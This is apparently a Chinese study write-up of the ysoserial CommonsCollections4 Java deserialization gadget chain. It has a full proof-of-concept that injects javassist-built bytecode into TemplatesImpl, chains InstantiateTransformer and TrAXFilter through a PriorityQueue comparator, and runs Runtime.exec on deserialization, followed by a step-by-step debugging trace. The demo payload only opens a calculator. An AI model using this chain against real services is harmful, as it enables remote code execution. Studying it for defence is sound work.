CommonsCollection4
1、前置知識
由於cc4沒有新的知識點,主要是用cc2,然後稍微cc3結合了,所以我們可以看ysoserial原始碼,自己嘗試構造一下,把cc2通過獲取InvokeTransformer()獲取templatesImpl的newtransformer()方法,改成用cc3的InstantiateTransformer初始化。那就把跟cc2不同的程式碼學習下。
1.1、transformingComparator
與cc2最大的不容就是transformingComparator的構造方式不同,這裡是通過獲取InstantiateTransformer例項化TrAXFilter並且把templatesImpl惡意類傳入,其實就是InstantiateTransformer(templateImpl).transform(TrAXFilter)。而且這就是cc3所用的方式,所以cc3在cc4佔很少的部分,主要還是cc2
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),//第一個獲取TrAXFilter
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通過InstantiateTransformer的構造方法傳入我們的惡意類templatesImpl,呼叫其transform方法,例項化傳入的TrAXFilter,呼叫其構造方法。再呼叫newTransform
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一個ChainedTransformer類,傳入我們的惡意transformers,只要呼叫transform方法就會反射執行我們的傳入的惡意傳入我們的惡意transformers
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
2、PoC分析
2.1、Poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsCollection4 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回預設的類池
classPool.appendClassPath(AbstractTranslet);//新增AbstractTranslet的搜尋路徑
CtClass payload=classPool.makeClass("com/akkacloud/CommonsCollection2Test");//建立一個新的public類
payload.setSuperclass(classPool.get(AbstractTranslet)); //設定前面建立的CommonsCollections22222222222類的父類為AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //建立一個空的類初始化,設定建構函式主體為runtime
//payload.writeFile("/Users/akka/Documents/study/JAVA-project/ysoserial/CommonsColection2/src/main/java");
byte[] bytes=payload.toBytecode();//轉換為byte陣列
//String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射建立TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射獲取templatesImpl的_bytecodes欄位
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//將templatesImpl上的_bytecodes欄位設定為runtime的byte陣列
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射獲取templatesImpl的_name欄位
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//將templatesImpl上的_name欄位設定為test
/* Method getTransletName = templatesImpl.getClass().getDeclaredMethod("getTransletName", new Class[]{});
getTransletName.setAccessible(true);
Object name = getTransletName.invoke(templatesImpl, new Object[]{});
System.out.println(name.toString());
Method getTransletBytecodes = templatesImpl.getClass().getDeclaredMethod("getTransletBytecodes", new Class[]{});
getTransletBytecodes.setAccessible(true);
byte[][] bytes1 = (byte[][]) getTransletBytecodes.invoke(templatesImpl, new Object[]{});
for (int i = 0; i < bytes1.length; i++) {
System.out.println(bytes1.length);
System.out.println(Arrays.toString(bytes1[i]));
}*/
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),//第一個獲取TrAXFilter
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通過InstantiateTransformer的構造方法傳入我們的惡意類templatesImpl,呼叫其transform方法,例項化傳入的TrAXFilter,呼叫其構造方法。再呼叫newTransform
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一個ChainedTransformer類,傳入我們的惡意transformers,只要呼叫transform方法就會反射執行我們的傳入的惡意傳入我們的惡意transformers
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2);//使用指定的初始容量建立一個 PriorityQueue,並根據其自然順序對元素進行排序。
priorityQueue.add(1);//新增數字1插入此優先順序佇列
priorityQueue.add(1);//新增數字1插入此優先順序佇列
Field field2=priorityQueue.getClass().getDeclaredField("comparator");//獲取PriorityQueue的comparator欄位
field2.setAccessible(true);//暴力反射
field2.set(priorityQueue,transformingComparator);//設定priorityQueue的comparator屬性值為transformingComparator
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
outputStream.writeObject(priorityQueue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.ser"));
inputStream.readObject();
}
}
2.2、poc除錯
在PriorityQueue的readObject打斷點,發現佇列內就是兩個數字,進入heapify()
因為在poc中我們沒對queue欄位賦值,所以queue裡面就是兩個數字,繼續跟入siteDown()
發現x就是queue為空,與cc2此時的x為templatImpl,繼續進入siftDownUsingComparator
進入發現,通過comparator.compare(),這個comparator就是我們的惡意TransformingComparator
進入發現TransformingComparator的compare方法裡,用this.transformer呼叫了transform方法,此時的this.transformer是我們傳入的ChainedTransformer,鏈式呼叫transform
進入後看到第一個是ConstantTransformer,繼續跟進transform方法
返回我們一開始構造的TrAXFilter.class
第二遍是進入InstantiateTransformer ,object為我們上次迴圈獲取TrAXFilter.class.繼續跟進transform()
這個transform就是例項化傳入的object既TrAXFilter,而且傳入的引數值為我們一起開始建立的惡意載入位元組類TransformerImpl
進入TrAXFilter的構造方法,傳入的TransformerImpl被賦值給了templates,templates呼叫newTransformer方法,繼續跟進
TransformerImpl的newTransformer方法,會呼叫本類的getTransletInstance方法,繼續跟進
發現會繼續呼叫defineTransletClasses(),繼續跟進
進入defineTransletClasses方法後發現,會把我們前面構造的_bytecodes[i]傳輸給_class[i],飯後返回到getTransletInstance方法
然後在getTransletInstance方法後,例項化我們傳入的_class[i]惡意類》TemplatesImpl》CommonsCollection2Test.
例項化就會呼叫我們一開始設定的靜態程式碼塊,造成RCE
2.3、利用鏈
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
...
TransformingComparator.compare()
InstantiateTransformer.transform()
Method.invoke()
Runtime.exec()
2.4、思維導圖
2.5、結束
cc4鏈還是比較簡單,我繼續每一步除錯的原因就是可以更好的複習前面學習的鏈,我cc2和cc4用的是commonscollection4依賴版本才成功,cc1、cc3和cc5是用的jdk8u66才成功的